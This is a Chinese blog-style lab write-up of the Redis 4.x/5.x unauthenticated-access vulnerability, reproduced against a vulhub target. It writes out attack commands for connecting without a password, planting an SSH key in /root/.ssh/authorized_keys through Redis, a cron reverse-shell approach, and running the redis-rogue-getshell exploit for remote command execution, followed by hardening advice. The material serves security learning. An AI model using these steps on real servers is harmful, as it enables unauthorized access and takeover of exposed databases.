Redis 4.x/5.x未授权访问漏洞
Redis是什么?
Redis是數據庫,一個高性能的key-value存儲系統,是使用ANSI C語言編寫的。
Redis未授權訪問漏洞
Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
影響版本
影響版本Redis未授權訪問在4.x/5.0.5版本以下
攻擊手段
1.直接未授權訪問,對redis數據庫的操作
2.ssh免密鑰登錄(有思維導圖)
3.對redis數據庫寫馬子拿shell,與第二點條件和思路差不多
4.寫進反彈shell,設置反彈時間反彈。
5.利用現有exp
環境
攻擊機為192.168.10.144 靶機為192.168.10.158
攻擊和靶機都需要安裝redis環境。
攻擊工具下載
- 下載壓縮包
wget http://download.redis.io/releases/redis-4.0.11.tar.gz - 解壓
tar -zxvf redis-4.0.11.tar.gz - 編譯
cd redis-4.0.11 # 切換
make # 編譯
如果要使用連接的話,要進入安裝的目錄然后./后執行即可,可以-h看看配置如何使用
root@kali:~/redis-4.0.11/src# ./redis-cli -h
但是
解決的方法是root@kali:~# sudo cp redis-4.0.11/src/redis-cli /usr/local/bin/
(授予redis-cli一個全局使用的權限)
當然了每個人的目錄都是不一樣的,所以根據自己的情況分析
靶機漏洞環境準備:(已經搭建好vulhub)
root@kali:~/vulhub/redis/4-unacc# docker-compose up -d
至此環境已經構建完成
攻擊機進攻復現(一)
如果只是漏洞挖掘,不深入拿shell,以下步驟即可。
對靶機的一個6379redis的端口探測
root@kali:~# nmap -p 6379 -script redis-info 192.168.10.158
- 進行未授權訪問連接
root@kali:~# redis-cli -h 192.168.10.158
如圖所示,已經連接上靶機的redis數據庫,可以對其進行一些數據庫的操作。
其中redis數據庫的一些操作
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
方法二:(需root權限)導入ssh,面密鑰登錄(失敗
攻擊機,對ssh生成一個空密碼
root@kali:~# ssh-keygen -t rsa
如圖所見,生成的密碼保存在/.ssh目錄下
切換到.ssh/的目錄,可見的確生成了rsa的密鑰,需要把該密鑰復制到一個文本中
root@kali:~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt
把該文本傳輸到靶機上
root@kali:~/.ssh# cat AuFeng.txt | redis-cli -h 192.168.10.158 -x set ok
然后登錄靶機redis,然后把路徑修改為root/.ssh
redis-cli -h 192.168.10.158
Config set dir修改路徑的時候,發現該以下error問題,說明該redis不是以root權限啟動的話,是無法修改路徑的,這樣的話,該漏洞也無法使用。
沒辦法了,我在靶機使用 sudo 啟動漏洞環境,還是失敗
在這里只能說說如果redis是root權限下操作的大體的思路:
參考文章: https://www.freebuf.com/vuls/162035.html
這篇文章是我5月份的時候寫的,現在7月18號,因為攻防演練,讓我意識到redis未授權這一塊知識需要重新補充,所以在自己的服務器上搭建了redis環境,也思考了如何避免redis未授權的漏洞
方法二:導入ssh,免密鑰登錄(實戰成功
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt- 1
root@kali:~/.ssh# cat AuFeng.txt |redis-cli -h 目標ip -x set crack
OK
先set dir到 ssh生成公、密鑰的路徑/root/.ssh下,然后把上傳的文件設置為authorized_keys,然后save就ok了, 為什么如此設置? 一般ssh生成公、密鑰的路徑都會在/root/.ssh目錄下,一般ssh免密鑰登錄都是/root/.ssh中的authorized_keys作為認證登錄的文件。
最后一步記得要save,很關鍵。
實現免密鑰登錄
方法三 利用計劃任務執行命令反彈shell(需root權限)
有時候 目標服務器沒有使用過ssh,就沒有/.ssh 這個目錄
但是能用set 證明是root權限,所以可以利用計劃任務執行命令反彈shell
/var/spool/cron/這個目錄是以賬號來區分每個用戶自己的執行計劃
root用戶執行的就會在/var/spool/cron/下面創建root文件
- 1
方法四 使用已有的exp執行遠程命令執行(非root權限)
Redis未授權訪問在4.x/5.0.5以前版本下,我們可以使用master/slave模式加載遠程模塊,通過動態鏈接庫的方式執行任意命令。
步驟如下,先下載好exp。
root@kali:~# git clone https://github.com/vulhub/redis-rogue-getshell- 1
然后進入到RedisModulesSDK/目錄進行一個編譯
root@kali:~/redis-rogue-getshell# cd RedisModulesSDK/ root@kali:~/redis-rogue-getshell/RedisModulesSDK# make- 1
- 2
最后直接打exp
root@kali:~/redis-rogue-getshell/RedisModulesSDK# python3 redis-master.py -r 192.168.10.158 -p 6379 -L 192.168.10.144 -P 8888 -f RedisModulesSDK/exp.so -c "id"- 1
可見,redis運行的權限不是root。
遺憾:
由于環境搭建的問題上浪費了許多的時間,最后因為運行的權限問題(還是沒有解決),導致無法復現使用ssh免密鑰登錄、還有redis反彈shell的實現。
參考文章(https://www.freebuf.com/column/158065.html)
修復方案(重啟redis才能生效)
重啟很重要,不是說關了重新啟動就可以了,需要如下操作才能正常重啟
[root@localhost src]# ./redis-server ../redis.conf- 1
修復操作如下:
進入redis配置文件redis.conf
ip綁定,不允許除本地外的主機遠程登錄redis服務 將#注釋去掉
開啟保護模式,不允許遠程連接redis服務將no 改為yes
修改默認端口
以低權限運行 Redis 服務(重啟redis才能生效)切身體會
為 Redis 添加密碼驗證(重啟redis才能生效)
總結
以上是生活随笔為你收集整理的Redis 4.x/5.x未授权访问漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: NTP放大攻击
- 下一篇: windows7 64位环境下安装apa